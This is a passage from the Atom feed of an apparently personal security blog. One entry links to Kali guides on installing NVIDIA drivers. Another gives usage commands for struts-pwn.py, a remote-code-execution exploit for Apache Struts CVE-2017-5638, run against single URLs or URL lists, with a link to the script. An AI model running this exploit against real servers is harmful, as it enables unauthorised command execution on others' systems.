    <content type="html"><![CDATA[<p>安装参考链接<br><a href="https://forums.kali.org/showthread.php?35748-TUTORIAL-Installing-official-NVIDIA-driver-in-Optimus-laptop" target="_blank" rel="noopener">https://forums.kali.org/showthread.php?35748-TUTORIAL-Installing-official-NVIDIA-driver-in-Optimus-laptop</a><br>验证：<br><a href="https://docs.kali.org/general-use/install-nvidia-drivers-on-kali-linux" target="_blank" rel="noopener">https://docs.kali.org/general-use/install-nvidia-drivers-on-kali-linux</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;安装参考链接&lt;br&gt;&lt;a href=&quot;https://forums.kali.org/showthread.php?35748-TUTORIAL-Installing-official-NVIDIA-driver-in-Optimus-laptop&quot; target=&quot;_bl
      
    
    </summary>
    
      <category term="笔记" scheme="https://10o0.github.io/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
      <category term="kali" scheme="https://10o0.github.io/tags/kali/"/>
    
      <category term="NVIDIA" scheme="https://10o0.github.io/tags/NVIDIA/"/>
    
      <category term="驱动" scheme="https://10o0.github.io/tags/%E9%A9%B1%E5%8A%A8/"/>
    
  </entry>
  
  <entry>
    <title>s2-045 exp CVE-2017-5638</title>
    <link href="https://10o0.github.io/2017/03/16/s2-045-exp-CVE-2017-5638/"/>
    <id>https://10o0.github.io/2017/03/16/s2-045-exp-CVE-2017-5638/</id>
    <published>2017-03-16T03:30:23.000Z</published>
    <updated>2018-07-26T07:38:15.240Z</updated>
    
    <content type="html"><![CDATA[<p>Usage:</p><p>Testing a single URL.</p><pre><code>python struts-pwn.py --url &apos;http://example.com/struts2-showcase/index.action&apos; -c &apos;id&apos;</code></pre><p>Testing a list of URLs.</p><pre><code>python struts-pwn.py --list &apos;urls.txt&apos; -c &apos;id&apos;</code></pre><p>Checking if the vulnerability exists against a single URL.</p><pre><code>python struts-pwn.py --check --url &apos;http://example.com/struts2-showcase/index.action&apos;</code></pre><p>Checking if the vulnerability exists against a list of URLs.</p><pre><code>python struts-pwn.py --check --list &apos;urls.txt&apos;</code></pre><p>Requirements</p><pre><code>Python2 or Python3requests</code></pre><p><a href="https://github.com/mazen160/struts-pwn/blob/master/struts-pwn.py" title="s2-045" target="_blank" rel="noopener">https://github.com/mazen160/struts-pwn/blob/master/struts-pwn.py</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;Usage:&lt;/p&gt;
&lt;p&gt;Testing a single URL.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python struts-pwn.py --url &amp;apos;http://example.com/struts2-showcase/index.action&amp;apos
      
    
    </summary>
    
      <category term="exploit" scheme="https://10o0.github.io/categories/exploit/"/>
    
    
      <category term="s2-045" scheme="https://10o0.github.io/tags/s2-045/"/>
    
      <category term="exp" scheme="https://10o0.github.io/tags/exp/"/>
    
  </entry>
  
</feed>
